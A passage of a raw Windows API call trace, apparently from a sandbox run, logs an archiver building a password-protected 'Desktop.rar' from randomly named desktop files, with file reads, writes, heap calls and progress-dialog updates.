pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.677] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x43f0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x43f0, lpOverlapped=0x0) returned 1 [0067.678] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.678] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.678] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1271920, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x136870 [0067.678] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x136870 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefaf0 [0067.678] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefaf0, Size=0x48) returned 0x1ec0a657140 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.678] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef9d0, Size=0x48) returned 0x1ec0a656c90 [0067.678] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.678] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.678] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.678] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.678] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a656f10 [0067.678] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656f10, Size=0x7a) returned 0x1ec0a64aa00 [0067.678] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64aa03*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64aa03*, lpNumberOfBytesWritten=0xe414d8140*=0x69, lpOverlapped=0x0) returned 1 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.678] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x69) returned 0x1ec0a659770 [0067.678] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.678] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.678] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x13acc9 [0067.678] CloseHandle (hObject=0x350) returned 1 [0067.679] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.679] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.679] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.679] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.679] FindFirstFileW (in: lpFileName="M6unjbqHC6Vi.avi", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.679] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.679] CreateFileW (lpFileName="M6unjbqHC6Vi.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\m6unjbqhc6vi.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.679] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.679] GetTickCount () returned 0x26cf8 [0067.679] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.679] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.679] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.679] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.679] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="kZvsWRlw_Unl_4-z2.png") returned 21 [0067.679] SetWindowTextW (hWnd=0x1028c, lpString="M6unjbqHC6Vi.avi") returned 1 [0067.680] GetTickCount () returned 0x26cf8 [0067.680] UpdateWindow (hWnd=0x10284) returned 1 [0067.680] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.680] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.681] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.681] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.681] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0xa3)) [0067.681] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.681] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15900940015) returned 1 [0067.681] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x10af2, lpOverlapped=0x0) returned 1 [0067.682] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d915b32, nNumberOfBytesToRead=0xef50e, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d915b32*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.682] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.682] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.682] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.682] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.682] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6577d0 [0067.682] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.682] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.682] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6569c0 [0067.682] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.682] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.682] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.682] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.682] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0067.682] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.682] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a6577d0 [0067.682] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a610 [0067.682] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.682] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0067.998] GetTickCount () returned 0x26e40 [0067.998] GetLastError () returned 0x0 [0067.998] SetLastError (dwErrCode=0x0) [0067.998] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.998] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.998] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.998] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0067.999] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15932776920) returned 1 [0067.999] GetTickCount () returned 0x26e40 [0067.999] GetTickCount () returned 0x26e40 [0067.999] GetTickCount () returned 0x26e40 [0067.999] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd168 | out: ppv=0xe414dd168*=0x1ec0bfef670) returned 0x0 [0067.999] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfef670, hwnd=0x10284, tbpFlags=2) returned 0x0 [0068.000] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfef670, hwnd=0x10284, ullCompleted=0x14af8a, ullTotal=0x4f8c9e) returned 0x0 [0068.000] TaskbarList:IUnknown:Release (This=0x1ec0bfef670) returned 0x0 [0068.000] GetLastError () returned 0x36b7 [0068.000] SetLastError (dwErrCode=0x36b7) [0068.000] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0068.000] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0068.000] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 24%") returned 5 [0068.000] SetWindowTextW (hWnd=0x102a4, lpString=" 26%") returned 1 [0068.001] GetLastError () returned 0x0 [0068.001] SetLastError (dwErrCode=0x0) [0068.001] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0068.001] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 98%") returned 5 [0068.001] SetWindowTextW (hWnd=0x102a0, lpString=" 94%") returned 1 [0068.001] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x1a, lParam=0x0) returned 0x18 [0068.002] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.006] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.009] GetFocus () returned 0x102a8 [0068.009] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.009] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.009] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.009] GetFocus () returned 0x102a8 [0068.009] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.010] ResetEvent (hEvent=0x344) returned 1 [0068.010] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.012] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.012] ResetEvent (hEvent=0x344) returned 1 [0068.012] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.015] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.015] ResetEvent (hEvent=0x344) returned 1 [0068.015] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.017] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.017] GetTickCount () returned 0x26e50 [0068.017] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15934548032) returned 1 [0068.017] GetTickCount () returned 0x26e50 [0068.017] GetTickCount () returned 0x26e50 [0068.017] GetTickCount () returned 0x26e50 [0068.017] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.017] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.017] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.017] ResetEvent (hEvent=0x33c) returned 1 [0068.017] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.018] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.018] ResetEvent (hEvent=0x33c) returned 1 [0068.018] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.018] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.019] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.019] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.019] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x13acc9 [0068.019] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x13ad2d [0068.019] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.019] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.019] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.019] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.019] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x10bc0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x10bc0, lpOverlapped=0x0) returned 1 [0068.021] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.021] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.021] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1289417, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x13acc9 [0068.021] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x13acc9 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.021] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656f10 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0068.021] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a656fb0 [0068.021] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0068.021] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.021] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0068.021] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0068.021] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a657140 [0068.021] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657140, Size=0x7a) returned 0x1ec0a64a070 [0068.021] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a073*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a073*, lpNumberOfBytesWritten=0xe414d8140*=0x64, lpOverlapped=0x0) returned 1 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefaf0 [0068.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x64) returned 0x1ec0ddfdb40 [0068.021] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0068.021] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a070 | out: hHeap=0x1ec0a590000) returned 1 [0068.021] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x14b8ed [0068.021] CloseHandle (hObject=0x350) returned 1 [0068.021] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.021] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.022] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.022] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.022] FindFirstFileW (in: lpFileName="mwUpgAicntsdXOa.wav", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0068.022] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0068.022] CreateFileW (lpFileName="mwUpgAicntsdXOa.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\mwupgaicntsdxoa.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.022] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.022] GetTickCount () returned 0x26e50 [0068.022] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.022] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.022] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.022] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.022] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="M6unjbqHC6Vi.avi") returned 16 [0068.022] SetWindowTextW (hWnd=0x1028c, lpString="mwUpgAicntsdXOa.wav") returned 1 [0068.023] GetTickCount () returned 0x26e50 [0068.023] UpdateWindow (hWnd=0x10284) returned 1 [0068.023] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.023] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.023] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.023] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.023] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x1fa)) [0068.023] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.023] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15935195647) returned 1 [0068.023] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x17753, lpOverlapped=0x0) returned 1 [0068.024] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91c793, nNumberOfBytesToRead=0xe88ad, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91c793*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.024] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.024] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0068.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.024] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656c90 [0068.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0068.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.024] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656a10 [0068.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0068.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0068.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0068.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa30 [0068.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa30 | out: hHeap=0x1ec0a590000) returned 1 [0068.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0068.024] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6573c0 [0068.024] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6573c0, Size=0x7a) returned 0x1ec0a64a610 [0068.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a10 | out: hHeap=0x1ec0a590000) returned 1 [0068.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0068.026] GetTickCount () returned 0x26e50 